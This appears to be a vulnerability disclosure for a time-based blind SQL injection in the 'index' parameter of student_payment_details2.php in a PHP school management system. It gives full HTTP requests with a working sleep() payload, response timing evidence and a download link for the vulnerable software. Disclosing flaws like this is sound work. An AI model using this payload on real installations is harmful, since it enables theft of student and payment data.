

SQL injection vulnerability exists in index parameter of /view/student\_payment\_details2.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 6s:

**Request**

```
1 GET /std1/view/student_payment_details2.php?index=%2B(select(0)from(select(sleep(2)))v)%2B'&page=page HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:33:07 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 6355
8
9 <div class="modal msk-fade" id="modalviewPayment1"
10 tabindex="-1" role="dialog" aria-labelledby="
11 insert_alert1" aria-hidden="true" data-backdrop="
12 static" data-keyboard="false">
13 <div class="modal-dialog modal-dialog1">
14 <!--modal-dialog -->
15 <div class="container modal-content2">
16 <!--modal-content -->
17 <div class="row">
18 <div class="col-md-10">
19 <div class="panel">
20 <!--panel -->
21 <div class="panel-heading bg-aqua-active
```

Done 6,545 bytes | 6,008 millis

Sleep time is 12s:

**Request**

```
1 GET /std1/view/student_payment_details2.php?index=%2B(select(0)from(select(sleep(4)))v)%2B'&page=page HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:32:44 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 6355
8
9 <div class="modal msk-fade" id="modalviewPayment1"
10 tabindex="-1" role="dialog" aria-labelledby="
11 insert_alert1" aria-hidden="true" data-backdrop="
12 static" data-keyboard="false">
13 <div class="modal-dialog modal-dialog1">
14 <!--modal-dialog -->
15 <div class="container modal-content2">
16 <!--modal-content -->
17 <div class="row">
18 <div class="col-md-10">
19 <div class="panel">
20 <!--panel -->
21 <div class="panel-heading bg-aqua-active
```

Done 6,545 bytes | 12,042 millis

Payload: index='%2B(select(0)from(select(sleep(4)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>